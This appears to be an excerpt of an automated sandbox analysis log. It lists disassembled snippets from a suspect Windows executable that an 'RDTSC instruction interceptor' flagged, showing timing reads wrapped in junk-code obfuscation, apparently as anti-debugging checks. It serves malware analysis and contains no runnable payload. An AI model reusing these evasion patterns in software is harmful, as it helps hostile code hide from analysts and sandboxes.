Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0323 second address: 79C036F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F3650BE6D85h 0x0000000b and ecx, 4FFEDA36h 0x00000011 jmp 00007F3650BE6D81h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, edi 0x0000001b jmp 00007F3650BE6D7Eh 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C036F second address: 79C0373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0373 second address: 79C0379 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0379 second address: 79C03F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3650C99DA4h 0x00000011 sub al, FFFFFFE8h 0x00000014 jmp 00007F3650C99D9Bh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007F3650C99DA8h 0x00000020 adc ah, 00000048h 0x00000023 jmp 00007F3650C99D9Bh 0x00000028 popfd 0x00000029 popad 0x0000002a push dword ptr [eax] 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F3650C99DA5h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C03F4 second address: 79C0404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0469 second address: 79C0478 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0478 second address: 79C047D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C047D second address: 79C04C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3650C99DA5h 0x0000000a sbb ecx, 4494C7E6h 0x00000010 jmp 00007F3650C99DA1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test esi, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3650C99D9Dh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C04C3 second address: 79C0574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F36BE025F46h 0x0000000f pushad 0x00000010 movzx eax, bx 0x00000013 pushfd 0x00000014 jmp 00007F3650BE6D89h 0x00000019 adc ax, 2956h 0x0000001e jmp 00007F3650BE6D81h 0x00000023 popfd 0x00000024 popad 0x00000025 sub eax, eax 0x00000027 jmp 00007F3650BE6D87h 0x0000002c mov dword ptr [esi], edi 0x0000002e pushad 0x0000002f movzx ecx, bx 0x00000032 pushfd 0x00000033 jmp 00007F3650BE6D81h 0x00000038 and ch, 00000016h 0x0000003b jmp 00007F3650BE6D81h 0x00000040 popfd 0x00000041 popad 0x00000042 mov dword ptr [esi+04h], eax 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 mov ax, dx 0x0000004b jmp 00007F3650BE6D7Fh 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0574 second address: 79C058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C058C second address: 79C0590 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0590 second address: 79C0648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+08h], eax 0x0000000b pushad 0x0000000c mov cx, bx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop eax 0x00000013 popad 0x00000014 mov dword ptr [esi+0Ch], eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F3650C99DA7h 0x0000001e and si, 500Eh 0x00000023 jmp 00007F3650C99DA9h 0x00000028 popfd 0x00000029 mov dx, ax 0x0000002c popad 0x0000002d mov eax, dword ptr [ebx+4Ch] 0x00000030 pushad 0x00000031 mov si, CC0Fh 0x00000035 push esi 0x00000036 pop ecx 0x00000037 popad 0x00000038 mov dword ptr [esi+10h], eax 0x0000003b pushad 0x0000003c pushfd 0x0000003d jmp 00007F3650C99DA3h 0x00000042 xor si, BACEh 0x00000047 jmp 00007F3650C99DA9h 0x0000004c popfd 0x0000004d pushad 0x0000004e pushfd 0x0000004f jmp 00007F3650C99D9Eh 0x00000054 sub cx, E348h 0x00000059 jmp 00007F3650C99D9Bh 0x0000005e popfd 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0648 second address: 79C0683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [ebx+50h] 0x00000009 pushad 0x0000000a jmp 00007F3650BE6D82h 0x0000000f jmp 00007F3650BE6D82h 0x00000014 popad 0x00000015 mov dword ptr [esi+14h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b movsx edi, ax 0x0000001e mov ebx, ecx 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0683 second address: 79C06AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+54h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3650C99DA5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C06AC second address: 79C06BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C06BC second address: 79C06D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+18h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3650C99D9Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C06D3 second address: 79C07A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 pushfd 0x00000007 jmp 00007F3650BE6D7Ah 0x0000000c and ch, FFFFFFF8h 0x0000000f jmp 00007F3650BE6D7Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [ebx+58h] 0x0000001b pushad 0x0000001c call 00007F3650BE6D84h 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 mov ax, dx 0x00000027 popad 0x00000028 mov dword ptr [esi+1Ch], eax 0x0000002b jmp 00007F3650BE6D83h 0x00000030 mov eax, dword ptr [ebx+5Ch] 0x00000033 pushad 0x00000034 pushfd 0x00000035 jmp 00007F3650BE6D84h 0x0000003a add cl, FFFFFFE8h 0x0000003d jmp 00007F3650BE6D7Bh 0x00000042 popfd 0x00000043 mov esi, 275DCFDFh 0x00000048 popad 0x00000049 mov dword ptr [esi+20h], eax 0x0000004c jmp 00007F3650BE6D82h 0x00000051 mov eax, dword ptr [ebx+60h] 0x00000054 pushad 0x00000055 pushfd 0x00000056 jmp 00007F3650BE6D7Eh 0x0000005b add ax, C178h 0x00000060 jmp 00007F3650BE6D7Bh 0x00000065 popfd 0x00000066 movzx ecx, di 0x00000069 popad 0x0000006a mov dword ptr [esi+24h], eax 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F3650BE6D7Eh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C07A9 second address: 79C07E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5D84h 0x00000007 call 00007F3650C99D9Dh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [ebx+64h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F3650C99DA9h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C07E1 second address: 79C07E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C07E7 second address: 79C07FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C07FE second address: 79C082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esi+28h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3650BE6D7Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C082F second address: 79C086B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [ebx+68h] 0x0000000d jmp 00007F3650C99DA5h 0x00000012 mov dword ptr [esi+2Ch], eax 0x00000015 jmp 00007F3650C99D9Eh 0x0000001a mov ax, word ptr [ebx+6Ch] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C086B second address: 79C0872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0872 second address: 79C0904 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov word ptr [esi+30h], ax 0x0000000d pushad 0x0000000e mov ecx, 56839EADh 0x00000013 pushfd 0x00000014 jmp 00007F3650C99D9Ah 0x00000019 and al, 00000048h 0x0000001c jmp 00007F3650C99D9Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov ax, word ptr [ebx+00000088h] 0x0000002a pushad 0x0000002b jmp 00007F3650C99DA4h 0x00000030 popad 0x00000031 mov word ptr [esi+32h], ax 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F3650C99DA8h 0x0000003e sbb esi, 22D7BE08h 0x00000044 jmp 00007F3650C99D9Bh 0x00000049 popfd 0x0000004a movzx esi, di 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0904 second address: 79C0984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+0000008Ch] 0x00000011 pushad 0x00000012 push esi 0x00000013 mov edi, 0C019B14h 0x00000018 pop edx 0x00000019 pushfd 0x0000001a jmp 00007F3650BE6D7Ah 0x0000001f sbb cx, 3398h 0x00000024 jmp 00007F3650BE6D7Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [esi+34h], eax 0x0000002e pushad 0x0000002f jmp 00007F3650BE6D84h 0x00000034 popad 0x00000035 mov eax, dword ptr [ebx+18h] 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov si, 772Fh 0x0000003f pushfd 0x00000040 jmp 00007F3650BE6D84h 0x00000045 sub si, 3858h 0x0000004a jmp 00007F3650BE6D7Bh 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0984 second address: 79C0A70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+38h], eax 0x0000000c jmp 00007F3650C99D9Eh 0x00000011 mov eax, dword ptr [ebx+1Ch] 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F3650C99D9Eh 0x0000001b sbb eax, 03BBFD18h 0x00000021 jmp 00007F3650C99D9Bh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F3650C99DA8h 0x0000002d sbb eax, 77FBE778h 0x00000033 jmp 00007F3650C99D9Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov dword ptr [esi+3Ch], eax 0x0000003d pushad 0x0000003e movzx ecx, bx 0x00000041 mov edx, 2AC07D54h 0x00000046 popad 0x00000047 mov eax, dword ptr [ebx+20h] 0x0000004a jmp 00007F3650C99DA3h 0x0000004f mov dword ptr [esi+40h], eax 0x00000052 jmp 00007F3650C99DA6h 0x00000057 lea eax, dword ptr [ebx+00000080h] 0x0000005d jmp 00007F3650C99DA0h 0x00000062 push 00000001h 0x00000064 jmp 00007F3650C99DA0h 0x00000069 nop 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d pushad 0x0000006e popad 0x0000006f mov ecx, ebx 0x00000071 popad 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0A70 second address: 79C0AAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F3650BE6D7Bh 0x0000000f nop 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3650BE6D85h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0AAC second address: 79C0AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 mov bh, 99h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lea eax, dword ptr [ebp-10h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3650C99D9Ch 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0AC9 second address: 79C0ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0ACD second address: 79C0AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C01 second address: 79C0C75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3650BE6D87h 0x00000009 xor al, 0000007Eh 0x0000000c jmp 00007F3650BE6D89h 0x00000011 popfd 0x00000012 push ecx 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov dword ptr [esi+04h], eax 0x0000001a pushad 0x0000001b mov ebx, esi 0x0000001d mov dx, ax 0x00000020 popad 0x00000021 lea eax, dword ptr [ebx+78h] 0x00000024 jmp 00007F3650BE6D7Eh 0x00000029 push 00000001h 0x0000002b jmp 00007F3650BE6D80h 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov edx, 05C799F0h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C75 second address: 79C0C7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C7B second address: 79C0C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C7F second address: 79C0C8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C8F second address: 79C0C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C94 second address: 79C0CC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99D9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F3650C99DA0h 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CC0 second address: 79C0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CC4 second address: 79C0CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CC8 second address: 79C0CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CCE second address: 79C0CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CD4 second address: 79C0CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CD8 second address: 79C0CDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CDC second address: 79C0CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CEB second address: 79C0CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CEF second address: 79C0CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0CF5 second address: 79C0D06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99D9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0D06 second address: 79C0D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0D90 second address: 79C0DCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, eax 0x0000000d pushad 0x0000000e call 00007F3650C99D9Ah 0x00000013 mov ecx, 1435F2C1h 0x00000018 pop esi 0x00000019 mov si, bx 0x0000001c popad 0x0000001d test edi, edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 call 00007F3650C99DA2h 0x00000027 pop ecx 0x00000028 mov dh, 03h 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0DCD second address: 79C0E4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, C5h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F36BE025658h 0x00000010 jmp 00007F3650BE6D80h 0x00000015 mov eax, dword ptr [ebp-04h] 0x00000018 jmp 00007F3650BE6D80h 0x0000001d mov dword ptr [esi+08h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007F3650BE6D7Dh 0x00000029 add ch, FFFFFF86h 0x0000002c jmp 00007F3650BE6D81h 0x00000031 popfd 0x00000032 pushfd 0x00000033 jmp 00007F3650BE6D80h 0x00000038 and eax, 53E68128h 0x0000003e jmp 00007F3650BE6D7Bh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E4D second address: 79C0E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E53 second address: 79C0E85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebx+70h] 0x0000000e jmp 00007F3650BE6D86h 0x00000013 push 00000001h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E85 second address: 79C0E8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E8B second address: 79C0E91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E91 second address: 79C0E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E95 second address: 79C0E99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0E99 second address: 79C0EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F3650C99D9Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov si, 9873h 0x00000016 mov cx, 48CFh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0EB9 second address: 79C0EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0EBF second address: 79C0EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0EC3 second address: 79C0F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007F3650BE6D83h 0x0000000e lea eax, dword ptr [ebp-18h] 0x00000011 pushad 0x00000012 call 00007F3650BE6D84h 0x00000017 mov ah, A5h 0x00000019 pop edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F3650BE6D7Ah 0x00000021 add ax, 5D08h 0x00000026 jmp 00007F3650BE6D7Bh 0x0000002b popfd 0x0000002c pushfd 0x0000002d jmp 00007F3650BE6D88h 0x00000032 or ah, 00000068h 0x00000035 jmp 00007F3650BE6D7Bh 0x0000003a popfd 0x0000003b popad 0x0000003c popad 0x0000003d nop 0x0000003e jmp 00007F3650BE6D86h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F3650BE6D7Dh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0F6A second address: 79C0F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0F6E second address: 79C0F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0F74 second address: 79C0F7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0F7A second address: 79C0F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0F7E second address: 79C0FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3650C99D9Ah 0x00000012 jmp 00007F3650C99DA5h 0x00000017 popfd 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1042 second address: 79C105E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 314CF64Ch 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [ebp-14h] 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov eax, 23BA2749h 0x00000018 mov dx, cx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C105E second address: 79C10BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, AD14h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ecx, esi 0x0000000f pushad 0x00000010 jmp 00007F3650C99DA2h 0x00000015 pushfd 0x00000016 jmp 00007F3650C99DA2h 0x0000001b sub si, CFF8h 0x00000020 jmp 00007F3650C99D9Bh 0x00000025 popfd 0x00000026 popad 0x00000027 mov dword ptr [esi+0Ch], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F3650C99DA5h 0x00000031 rdtsc
